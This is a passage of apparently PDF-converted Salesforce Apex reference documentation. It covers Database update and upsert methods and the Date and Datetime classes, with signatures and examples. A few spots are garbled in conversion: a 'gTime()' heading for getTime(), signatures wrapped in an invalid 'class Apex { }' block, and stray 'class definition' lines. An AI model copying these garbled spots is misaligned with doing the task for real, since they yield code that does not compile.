    [SELECT Id, Name, BillingCity
     FROM Account WHERE Id = :a.Id];
myAcct.BillingCity = 'San Francisco';

Database.SaveResult SR =
    Database.update(myAcct);
```

update(recordsToUpdate, allOrNone)

Modifies one or more existing sObject records, such as individual accounts or contacts in invoice statements, in your organization’s data.

Signature

public static Database.SaveResult[] update(sObject[] recordsToUpdate, Boolean allOrNone)

Parameters

recordsToUpdate
Type: sObject []
allOrNone

Type: Boolean

The optional allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set true, an exception is thrown if the method is not successful.

Return Value

Type: Database.SaveResult[]

Usage

update is analogous to the UPDATE statement in SQL.

Each executed update method counts against the governor limit for DML statements.

update(recordToUpdate, dmlOptions)

Modifies an existing sObject record, such as an individual account or contact, in your organization’s data.

Signature

public static Database.SaveResult update(sObject recordToUpdate, Database.DmlOptions dmlOptions)

Parameters

recordToUpdate
Type: sObject

dmlOptions
Type: Database.DmlOptions

The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.

Return Value

Type: Database.SaveResult

Usage

update is analogous to the UPDATE statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed update method counts against the governor limit for DML statements.

update(recordsToUpdate, dmlOptions)

Modifies one or more existing sObject records, such as individual accounts or contacts in invoice statements, in your organization’s data.
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Database.DMLOptions dmlOptions)

Parameters

recordsToUpdate
Type: sObject[]
dmlOptions
Type: Database.DMLOptions

The optional dmlOptions parameter specifies additional data for the transaction, such as assignment rule information or rollback behavior when errors occur during record insertions.

Return Value
Type: Database.SaveResult[]

Usage

update is analogous to the UPDATE statement in SQL.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed update method counts against the governor limit for DML statements.

upsert(recordToUpsert, externalIdField, allOrNone)

Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine the presence of existing objects, or the ID field if no field is specified.

Signature

public static Database.UpsertResult upsert(sObject recordToUpsert, Schema.SObjectField externalIdField, Boolean allOrNone)

Parameters

recordToUpsert
Type: sObject
externalIdField
Type: Schema.SObjectField

The externalIdField is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The externalIdField parameter is the field that upsert() uses to match sObjects with existing records. This field can be a custom field marked as external ID, or a standard field with the idLookup attribute.

allOrNone
Type: Boolean
The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

Return Value
Type: `Database.UpsertResult`

Usage
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed `upsert` method counts against the governor limit for DML statements.

For more information on how the upsert operation works, see the `upsert()` statement.

### `upsert(recordsToUpsert, externalIdField, allOrNone)`
Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the presence of existing objects, or the ID field if no field is specified.

**Signature**
```
public static Database.UpsertResult[] upsert(sObject[] recordsToUpsert, Schema.SObjectField externalIdField, Boolean allOrNone)
```

**Parameters**
- `recordsToUpsert`  
  Type: `sObject []`
- `externalIdField`  
  Type: `Schema.SObjectField`
  The `externalIdField` is of type `Schema.SObjectField`, that is, a field token. Find the token for the field by using the `fields` special method. For example, `Schema.SObjectField f = Account.Fields.MyExternalId`. The `externalIdField` parameter is the field that `upsert()` uses to match sObjects with existing records. This field can be a custom field marked as external ID, or a standard field with the `idLookup` attribute.
- `allOrNone`  
  Type: `Boolean`
  The optional `allOrNone` parameter specifies whether the operation allows partial success. If you specify `false` for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. If the parameter is not set or is set `true`, an exception is thrown if the method is not successful.

**Return Value**
Type: `Database.UpsertResult[]`
Usage

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Each executed upsert method counts against the governor limit for DML statements.

For more information on how the upsert operation works, see the upsert() statement.

updateAsync(sobjects, callback)

Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources. Allows referencing a callback class whose processSave method is called for each record after the remote operations are completed.

Signature

```java
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects,
DataSource.AsyncSaveCallback callback)
```

Parameters

sobjects
Type: List<SObject>
List of external object records to modify.

callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend DataSource.AsyncSaveCallback.

Return Value

Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

updateAsync(object, callback)

Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source. Allows referencing a callback class whose processSave method is called after the remote operation is completed.

Signature

```java
public static Database.SaveResult updateAsync(SObject object,
DataSource.AsyncSaveCallback callback)
```
Parameters

sobject
Type: SObject
External object record to modify.

callback
Type: DataSource.AsyncSaveCallback
The callback object that contains the state in the originating context and an action (the processSave method) that executes after the insert operation is completed. Use the action callback to update org data according to the operation’s results. The callback object must extend DataSource.AsyncSaveCallback.

Return Value

Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

updateAsync(sobjects)

Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background operations, and are sent to the external systems that are defined by the external objects’ associated external data sources.

Signature

public static List<Database.SaveResult> updateAsync(List<SObject> sobjects)

Parameters

sobjects
Type: List<SObject>
List of external object records to modify.

Return Value

Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

updateAsync(sobject)

Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background operation, and is sent to the external system that’s defined by the external object’s associated external data source.

Signature

public static Database.SaveResult updateAsync(SObject sobject)
Parameters

sobject
Type: SObject
External object record to modify.

Return Value

Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

updateImmediate(sobjects)

Initiates requests to update external object data on the relevant external systems. The requests are executed synchronously and are sent
to the external systems that are defined by the external objects' associated external data sources. If the Apex transaction contains pending
changes, the synchronous operations can't be completed and throw exceptions.

Signature

class
definition

public static List<Database.SaveResult> updateImmediate(List<SObject> sobjects)

Parameters

sobjects
Type: List<SObject>
List of external object records to modify.

Return Value

Type: List<Database.SaveResult>
Status results for the update operation.

updateImmediate(sobject)

Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent to
the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.

Signature

class
definition

public static Database.SaveResult updateImmediate(SObject sobject)

Parameters

sobject
Type: SObject
External object record to modify.
Return Value
Type: Database.SaveResult
Status result for the update operation.

Date Class
Contains methods for the Date primitive data type.

Namespace
System

Usage
For more information on Dates, see Primitive Data Types on page 26.

Date Methods
The following are methods for Date.

IN THIS SECTION:

- **addDays(additionalDays)**
  Adds the specified number of additional days to a Date.

- **addMonths(additionalMonths)**
  Adds the specified number of additional months to a Date.

- **addYears(additionalYears)**
  Adds the specified number of additional years to a Date.

- **day()**
  Returns the day-of-month component of a Date.

- **dayOfYear()**
  Returns the day-of-year component of a Date.

- **daysBetween(secondDate)**
  Returns the number of days between the Date that called the method and the specified date.

- **daysInMonth(year, month)**
  Returns the number of days in the month for the specified year and month (1=Jan).

- **format()**
  Returns the Date as a string using the locale of the context user.

- **isLeapYear(year)**
  Returns true if the specified year is a leap year.

- **isSameDay(dateToCompare)**
  Returns true if the Date that called the method is the same as the specified date.

- **month()**
  Returns the month component of a Date (1=Jan).
monthsBetween(secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.

newInstance(year, month, day)
Constructs a Date from Integer representations of the year, month (1=Jan), and day.

parse(stringDate)
Constructs a Date from a String. The format of the String depends on the local date format.

today()
Returns the current date in the current user’s time zone.

toStartOfMonth()
Returns the first of the month for the Date that called the method.

toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user’s locale.

valueOf(stringDate)
Returns a Date that contains the value of the specified String.

valueOf(fieldValue)
Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date value.

year()
Returns the year component of a Date

**addDays(additionalDays)**
Adds the specified number of additional days to a Date.

**Signature**

```java
public Date addDays(Integer additionalDays)
```

**Parameters**

- **additionalDays**
  Type: Integer

**Return Value**

Type: Date

**Example**

```java
Date myDate = Date.newInstance(1960, 2, 17);
Date newDate = mydate.addDays(2);
```

**addMonths(additionalMonths)**
Adds the specified number of additional months to a Date
Signature

public Date addMonths(Integer additionalMonths)

Parameters

additionalMonths
Type: Integer

Return Value

Type: Date

Example

date myDate = date.newInstance(1990, 11, 21);
date newDate = myDate.addMonths(3);
date expectedDate = date.newInstance(1991, 2, 21);
system.assertEquals(expectedDate, newDate);

addYears(additionalYears)

Adds the specified number of additional years to a Date

Signature

public Date addYears(Integer additionalYears)

Parameters

additionalYears
Type: Integer

Return Value

Type: Date

Example

date myDate = date.newInstance(1983, 7, 15);
date newDate = myDate.addYears(2);
date expectedDate = date.newInstance(1985, 7, 15);
system.assertEquals(expectedDate, newDate);

day()

Returns the day-of-month component of a Date.

Signature

public Integer day()
Return Value
Type: Integer

Example
```java
date myDate = date.newInstance(1989, 4, 21);
Integer day = myDate.day();
system.assertEquals(21, day);
```

`dayOfYear()`

Returns the day-of-year component of a Date.

Signature
```java
public Integer dayOfYear()
```

Return Value
Type: Integer

Example
```java
date myDate = date.newInstance(1998, 10, 21);
Integer day = myDate.dayOfYear();
system.assertEquals(294, day);
```

daysBetween(secondDate)

Returns the number of days between the Date that called the method and the specified date.

Signature
```java
public Integer daysBetween(Date secondDate)
```

Parameters
```
secondDate
Type: Date
```

Return Value
Type: Integer

Usage
If the Date that calls the method occurs after the `secondDate`, the return value is negative.
Example

```java
Date startDate = Date.newInstance(2008, 1, 1);
Date dueDate = Date.newInstance(2008, 1, 30);
Integer numberDaysDue = startDate.daysBetween(dueDate);
```

daysInMonth(year, month)

Returns the number of days in the month for the specified year and month (1=Jan).

Signature

```java
public static Integer daysInMonth(Integer year, Integer month)
```

Parameters

- `year`
  - Type: `Integer`
- `month`
  - Type: `Integer`

Return Value

Type: `Integer`

Example

The following example finds the number of days in the month of February in the year 1960.

```java
Integer numberDays = date.daysInMonth(1960, 2);
```

format()

Returns the Date as a string using the locale of the context user

Signature

```java
public String format()
```

Return Value

Type: `String`

Example

```java
// In American-English locale
date myDate = date.newInstance(2001, 3, 21);
String dayString = myDate.format();
system.assertEquals('3/21/2001', dayString);
```
**isLeapYear (year)**

Returns **true** if the specified year is a leap year.

Signature

```java
public static Boolean isLeapYear(Integer year)
```

Parameters

- `year`
  - Type: `Integer`

Return Value

Type: `Boolean`

Example

```java
system.assert(Date.isLeapYear(2004));
```

**isSameDay (dateToCompare)**

Returns **true** if the Date that called the method is the same as the specified date.

Signature

```java
public Boolean isSameDay(Date dateToCompare)
```

Parameters

- `dateToCompare`
  - Type: `Date`

Return Value

Type: `Boolean`

Example

```java
date myDate = date.today();
date dueDate = date.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);
```

**month ()**

Returns the month component of a Date (1=Jan).

Signature

```java
public Integer month()
```
Return Value
Type: Integer

Example
```java
date myDate = date.newInstance(2004, 11, 21);
Integer month = myDate.month();
System.assertEquals(11, month);
```

`monthsBetween(secondDate)`
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.

Signature
```java
public Integer monthsBetween(Date secondDate)
```

Parameters
secondDate
  Type: Date

Return Value
Type: Integer

Example
```java
Date firstDate = Date.newInstance(2006, 12, 2);
Date secondDate = Date.newInstance(2012, 12, 8);
Integer monthsBetween = firstDate.monthsBetween(secondDate);
System.assertEquals(72, monthsBetween);
```

`newInstance(year, month, day)`
Constructs a Date from Integer representations of the `year`, `month` (1=Jan), and `day`.

Signature
```java
public static Date newInstance(Integer year, Integer month, Integer day)
```

Parameters
year
  Type: Integer

month
  Type: Integer

day
  Type: Integer
Return Value
Type: Date

Example
The following example creates the date February 17th, 1960:
```
Date myDate = date.newInstance(1960, 2, 17);
```

**parse(stringDate)**
Constructs a Date from a String. The format of the String depends on the local date format.

Signature
```
public static Date parse(String stringDate)
```

Parameters
```
stringDate
  Type: String
```

Return Value
Type: Date

Example
The following example works in some locales.
```
date mydate = date.parse('12/27/2009');
```

**today()**
Returns the current date in the current user's time zone.

Signature
```
public static Date today()
```

Return Value
Type: Date

**toStartOfMonth()**
Returns the first of the month for the Date that called the method.

Signature
```
public Date toStartOfMonth()
```
Return Value
Type: Date

Example
date myDate = date.newInstance(1987, 12, 17);
date firstDate = myDate.toStartOfMonth();
date expectedDate = date.newInstance(1987, 12, 1);
system.assertEquals(expectedDate, firstDate);

toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user's locale.

Signature
public Date toStartOfWeek()

Return Value
Type: Date

Example
For example, the start of a week is Sunday in the United States locale, and Monday in European locales. For example:

Date myDate = Date.today();
Date weekStart = myDate.toStartofWeek();

valueOf(stringDate)
Returns a Date that contains the value of the specified String.

Signature
public static Date valueOf(String stringDate)

Parameters
stringDate
Type: String

Return Value
Type: Date

Usage
The specified string should use the standard date format "yyyyMMdd-HH:mm:ss" in the local time zone.
Example

```java
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':' + minute + ':' + second;
Date myDate = date.valueOf(stringDate);
```

**valueOf(fieldValue)**

Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date value.

**Signature**

```java
public static Date valueOf(Object fieldValue)
```

**Parameters**

**FieldValue**

Type: Object

**Return Value**

Type: Date

**Usage**

Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a Date field.

**Note:** In API version 33.0 or earlier, if you call `Date.valueOf` with an object that represents a Datetime, the method returns a Date value that contains the hours, minutes, and seconds. In version 34.0 and later, `Date.valueOf` converts the object to a valid Date without the time information. To convert a variable of type Datetime to a Date, use the `Datetime.date` method.

**Example**

This example converts history tracking fields to Date values.

```java
List<AccountHistory> ahlist = [SELECT Field,OldValue,NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
   System.debug('Field: ' + ah.Field);
   if (ah.field == 'MyDate__c') {
      Date oldValue = Date.valueOf(ah.OldValue);
      Date newValue = Date.valueOf(ah.NewValue);
   }
```
year()

Returns the year component of a Date

Signature

public Integer year()

Return Value

Type: Integer

Example

date myDate = date.newInstance(1988, 12, 17);
system.assertEquals(1988, myDate.year());

Datetime Class

Contains methods for the Datetime primitive data type.

Namespace

System

Usage

For more information about the Datetime, see Primitive Data Types on page 26.

Datetime Methods

The following are methods for Datetime.

IN THIS SECTION:

- addDays(additionalDays)
  Adds the specified number of days to a Datetime.
- addHours(additionalHours)
  Adds the specified number of hours to a Datetime.
- addMinutes(additionalMinutes)
  Adds the specified number of minutes to a Datetime.
- addMonths(additionalMonths)
  Adds the specified number of months to a Datetime.
- addSeconds(additionalSeconds)
  Adds the specified number of seconds to a Datetime.
addYears(additionalYears)
Adds the specified number of years to a Datetime.

date()
Returns the Date component of a Datetime in the local time zone of the context user.

dateGMT()
Return the Date component of a Datetime in the GMT time zone.

day()
Returns the day-of-month component of a Datetime in the local time zone of the context user.

dayGmt()
Returns the day-of-month component of a Datetime in the GMT time zone.

dayOfYear()
Returns the day-of-year component of a Datetime in the local time zone of the context user.

dayOfYearGmt()
Returns the day-of-year component of a Datetime in the GMT time zone.

format()
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user. If the time zone cannot be determined, GMT is used.

format(dateFormatString)
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If the time zone cannot be determined, GMT is used.

format(dateFormatString, timezone)
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format. If the supplied time zone is not in the correct format, GMT is used.

formatGmt(dateFormatString)
Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.

formatLong()
Converts the date to the local time zone and returns the converted date in long date format.

gTime()
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.

hour()
Returns the hour component of a Datetime in the local time zone of the context user.

hourGmt()
Returns the hour component of a Datetime in the GMT time zone.

isSameDay(dateToCompare)
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.

millisecond()
Return the millisecond component of a Datetime in the local time zone of the context user.

millisecondGmt()
Return the millisecond component of a Datetime in the GMT time zone.

minute()
Returns the minute component of a Datetime in the local time zone of the context user.
minuteGmt()
Returns the minute component of a Datetime in the GMT time zone.

month()
Returns the month component of a Datetime in the local time zone of the context user (1=Jan).

monthGmt()
Returns the month component of a Datetime in the GMT time zone (1=Jan).

newInstance(milliseconds)
Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.

newInstance(date, time)
Constructs a DateTime from the specified date and time in the local time zone.

newInstance(year, month, day)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.

newInstance(year, month, day, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local time zone.

newInstanceGmt(date, time)
Constructs a DateTime from the specified date and time in the GMT time zone.

newInstanceGmt(year, month, day)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone.

newInstanceGmt(year, month, day, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT time zone.

now()
Returns the current Datetime based on a GMT calendar.

parse(dateTimeString)
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.

second()
Returns the second component of a Datetime in the local time zone of the context user.

secondGmt()
Returns the second component of a Datetime in the GMT time zone.

time()
Returns the time component of a Datetime in the local time zone of the context user.

timeGmt()
Returns the time component of a Datetime in the GMT time zone.

valueOf(dateTimeString)
Returns a Datetime that contains the value of the specified string.

valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a Datetime value.

valueOfGmt(dateTimeString)
Returns a Datetime that contains the value of the specified String.
year()
Returns the year component of a Datetime in the local time zone of the context user.

yearGmt()
Returns the year component of a Datetime in the GMT time zone.

**addDays (additionalDays)**
Adds the specified number of days to a Datetime.

**Signature**

```java
public Datetime addDays(Integer additionalDays)
```

**Parameters**

`additionalDays`
Type: `Integer`

**Return Value**
Type: `Datetime`

**Example**
```
Datetime myDateTime = Datetime.newInstance(1960, 2, 17);
Datetime newDateTime = myDateTime.addDays(2);
Datetime expected = Datetime.newInstance(1960, 2, 19);
System.assertEquals(expected, newDateTime);
```

**addHours (additionalHours)**
Adds the specified number of hours to a Datetime.

**Signature**

```java
public Datetime addHours(Integer additionalHours)
```

**Parameters**

`additionalHours`
Type: `Integer`

**Return Value**
Type: `Datetime`

**Example**
```
DateTime myDateTime = DateTime.newInstance(1997, 1, 31, 7, 8, 16);
DateTime newDateTime = myDateTime.addHours(3);
```
addMinutes(additionalMinutes)

Adds the specified number of minutes to a Datetime.

**Signature**

```java
public Datetime addMinutes(Integer additionalMinutes)
```

**Parameters**

- **additionalMinutes**
  - Type: Integer

**Return Value**

Type: Datetime

**Example**

```java
DateTime myDateTime = DateTime.newInstance(1999, 2, 11, 8, 6, 16);
DateTime newDateTime = myDateTime.addMinutes(7);
DateTime expected = DateTime.newInstance(1999, 2, 11, 8, 13, 16);
System.assertEquals(expected, newDateTime);
```

addMonths(additionalMonths)

Adds the specified number of months to a Datetime.

**Signature**

```java
public Datetime addMonths(Integer additionalMonths)
```

**Parameters**

- **additionalMonths**
  - Type: Integer

**Return Value**

Type: Datetime

**Example**

```java
DateTime myDateTime = DateTime.newInstance(2000, 7, 7, 7, 8, 12);
DateTime newDateTime = myDateTime.addMonths(1);
DateTime expected = DateTime.newInstance(2000, 8, 7, 7, 8, 12);
System.assertEquals(expected, newDateTime);
```
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Datetime.

Signature
public Datetime addSeconds(Integer additionalSeconds)

Parameters
additionalSeconds
Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(2001, 7, 19, 10, 7, 12);
DateTime newDateTime = myDateTime.addSeconds(4);
DateTime expected = DateTime.newInstance(2001, 7, 19, 10, 7, 16);
System.assertEquals(expected, newDateTime);

addYears(additionalYears)
Adds the specified number of years to a Datetime.

Signature
public Datetime addYears(Integer additionalYears)

Parameters
additionalYears
Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(2009, 12, 17, 13, 6, 6);
DateTime newDateTime = myDateTime.addYears(1);
DateTime expected = DateTime.newInstance(2010, 12, 17, 13, 6, 6);
System.assertEquals(expected, newDateTime);

date()
Returns the Date component of a Datetime in the local time zone of the context user.
Signature

```java
public Date date()
```

Return Value

Type: Date

Example

```java
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 12, 6, 13);
Date myDate = myDateTime.date();
Date expected = Date.newInstance(2006, 3, 16);
System.assertEquals(expected, myDate);
```

**dateGMT()**

Return the Date component of a Datetime in the GMT time zone.

Signature

```java
public Date dateGMT()
```

Return Value

Type: Date

Example

```java
// California local time, PST
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 23, 0, 0);
Date myDate = myDateTime.dateGMT();
Date expected = Date.newInstance(2006, 3, 17);
System.assertEquals(expected, myDate);
```

**day()**

Returns the day-of-month component of a Datetime in the local time zone of the context user.

Signature

```java
public Integer day()
```

Return Value

Type: Integer

Example

```java
DateTime myDateTime = DateTime.newInstance(1986, 2, 21, 23, 0, 0);
System.assertEquals(21, myDateTime.day());
```
**dayGmt()**

Returns the day-of-month component of a Datetime in the GMT time zone.

**Signature**

```java
class Apex
{
    public Integer dayGmt()
}
```

**Return Value**

Type: `Integer`

**Example**

```java
// California local time, PST
DateTime myDateTime = DateTime.newInstance(1987, 1, 14, 23, 0, 3);
System.assertEquals(15, myDateTime.dayGMT());
```

**dayOfYear()**

Returns the day-of-year component of a Datetime in the local time zone of the context user.

**Signature**

```java
class Apex
{
    public Integer dayOfYear()
}
```

**Return Value**

Type: `Integer`

**Example**

For example, February 5, 2008 08:30:12 would be day 36.

```java
Datetime myDate = Datetime.newInstance(2008, 2, 5, 8, 30, 12);
System.assertEquals(myDate.dayOfYear(), 36);
```

**dayOfYearGmt()**

Returns the day-of-year component of a Datetime in the GMT time zone.

**Signature**

```java
class Apex
{
    public Integer dayOfYearGmt()
}
```

**Return Value**

Type: `Integer`
Example

```java
// This sample assumes we are in the PST timezone
DateTime myDateTime = DateTime.newInstance(1999, 2, 5, 23, 0, 3);
// January has 31 days + 5 days in February = 36 days
// dayOfYearGmt() adjusts the time zone from the current time zone to GMT
// by adding 8 hours to the PST time zone, so it's 37 days and not 36 days
System.assertEquals(37, myDateTime.dayOfYearGmt());
```

`format()`

Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user. If the time zone cannot be determined, GMT is used.

Signature

```java
public String format()
```

Return Value

Type: String

Example

Note: The sample is executed in an org where the “Enable ICU Locale Formats” crucial update is enabled. See https://releasenotes.docs.salesforce.com/en-us/spring20/release-notes/rn_forcecom_globalization_enable_icu_cruc.htm.

```java
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
system.assertEquals('6/6/1993, 3:03 AM', myDateTime.format());
```

`format(dateFormatString)`

Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If the time zone cannot be determined, GMT is used.

Signature

```java
public String format(String dateFormatString)
```

Parameters

```java
dateFormatString
    Type: String
```

Return Value

Type: String

Usage

For more information on the Java simple date format, see Java SimpleDateFormat.
Example

```java
Datetime myDT = Datetime.now();
String myDate = myDT.format('h:mm a');
```

**format(dateFormatString, timezone)**

Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format. If the supplied time zone is not in the correct format, GMT is used.

**Signature**

```java
public String format(String dateFormatString, String timezone)
```

**Parameters**

- `dateFormatString`
  - Type: `String`
- `timezone`
  - Type: `String`

Valid time zone values for the `timezone` argument are the time zones of the Java TimeZone class that correspond to the time zones returned by the `TimeZone.getAvailableIDs` method in Java. We recommend you use full time zone names, not the three-letter abbreviations.

**Return Value**

- Type: `String`

**Usage**

For more information on the Java simple date format, see [Java SimpleDateFormat](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/text/SimpleDateFormat.html).

**Example**

This example uses `format` to convert a GMT date to the America/New_York time zone and formats the date using the specified date format.

```java
Datetime GMTDate =
    Datetime.newInstanceGmt(2011, 6, 1, 12, 1, 5);
String strConvertedDate =
    GMTDate.format('MM/dd/yyyy HH:mm:ss',
    'America/New_York');
// Date is converted to
// the new time zone and is adjusted
// for daylight saving time.
System.assertEquals(
    '06/01/2011 08:01:05', strConvertedDate);
```

**formatGmt(dateFormatString)**

Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.
Signature

public String formatGmt(String dateFormatString)

Parameters

dateFormatString
  Type: String

Return Value

Type: String

Usage

For more information on the Java simple date format, see Java SimpleDateFormat.

Example

```java
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
String formatted = myDateTime.formatGMT('EEE, MMM d yyyy HH:mm:ss');
String expected = 'Sun, Jun 6 1993 10:03:03';
System.assertEquals(expected, formatted);
```

formatLong()

Converts the date to the local time zone and returns the converted date in long date format.

Signature

public String formatLong()

Return Value

Type: String

Example

```java
// Passing local date based on the PST time zone
Datetime dt = DateTime.newInstance(2012,12,28,10,0,0);
// Writes 12/28/2012 10:00:00 AM PST
System.debug('dt.formatLong()=' + dt.formatLong());
```

gTime()

Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.

Signature

public Long getTime()
Return Value
Type: Long

Example

```java
datetime dt = datetime.newInstance(2007, 6, 23, 3, 3, 3);
long gettime = dt.getTime();
long expected = 1182592983000L;
system.assertEquals(expected, gettime);
```

`hour()`
Returns the hour component of a Datetime in the local time zone of the context user.

Signature

```java
public Integer hour()
```

Return Value
Type: Integer

Example

```java
datetime mydatetime = datetime.newInstance(1998, 11, 21, 3, 3, 3);
system.assertEquals(3, mydatetime.hour());
```

`hourGmt()`
Returns the hour component of a Datetime in the GMT time zone.

Signature

```java
public Integer hourGmt()
```

Return Value
Type: Integer

Example

```java
// California local time
datetime mydatetime = datetime.newInstance(2000, 4, 27, 3, 3, 3);
system.assertEquals(10, mydatetime.hourGmt());
```

`isSameDay(dateToCompare)`
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.
Signature

public Boolean isSameDay(Datetime dateToCompare)

Parameters

dateToCompare
Type: Datetime

Return Value
Type: Boolean

Example

datetime myDate = datetime.now();
datetime dueDate =
    datetime.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);

millisecond()

Return the millisecond component of a Datetime in the local time zone of the context user.

Signature

public Integer millisecond()

Return Value
Type: Integer

Example

DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecond());

millisecondGmt()

Return the millisecond component of a Datetime in the GMT time zone.

Signature

public Integer millisecondGmt()

Return Value
Type: Integer
Example

```java
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecondGMT());
```

**minute()**

Returns the minute component of a Datetime in the local time zone of the context user.

**Signature**

```java
public Integer minute()
```

**Return Value**

Type: Integer

**Example**

```java
DateTime myDateTime = DateTime.newInstance(2001, 2, 27, 3, 3, 3);
system.assertEquals(3, myDateTime.minute());
```

**minuteGmt()**

Returns the minute component of a Datetime in the GMT time zone.

**Signature**

```java
public Integer minuteGmt()
```

**Return Value**

Type: Integer

**Example**

```java
DateTime myDateTime = DateTime.newInstance(2002, 12, 3, 3, 3, 3);
system.assertEquals(3, myDateTime.minuteGMT());
```

**month()**

Returns the month component of a Datetime in the local time zone of the context user (1=Jan).

**Signature**

```java
public Integer month()
```

**Return Value**

Type: Integer
Example

```
DateTime myDateTime = DateTime.newInstance(2004, 11, 4, 3, 3, 3);
System.assertEquals(11, myDateTime.month());
```

**monthGmt()**

Returns the month component of a Datetime in the GMT time zone (1=Jan).

**Signature**

```
public Integer monthGmt()
```

**Return Value**

Type: `Integer`

Example

```
DateTime myDateTime = DateTime.newInstance(2006, 11, 19, 3, 3, 3);
System.assertEquals(11, myDateTime.monthGMT());
```

**newInstance(milliseconds)**

Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.

**Signature**

```
public static Datetime newInstance(Long milliseconds)
```

**Parameters**

`milliseconds`

Type: `Long`

**Return Value**

Type: `Datetime`

The returned date is in the GMT time zone.

Example

```
Long longtime = 1341828183000L;
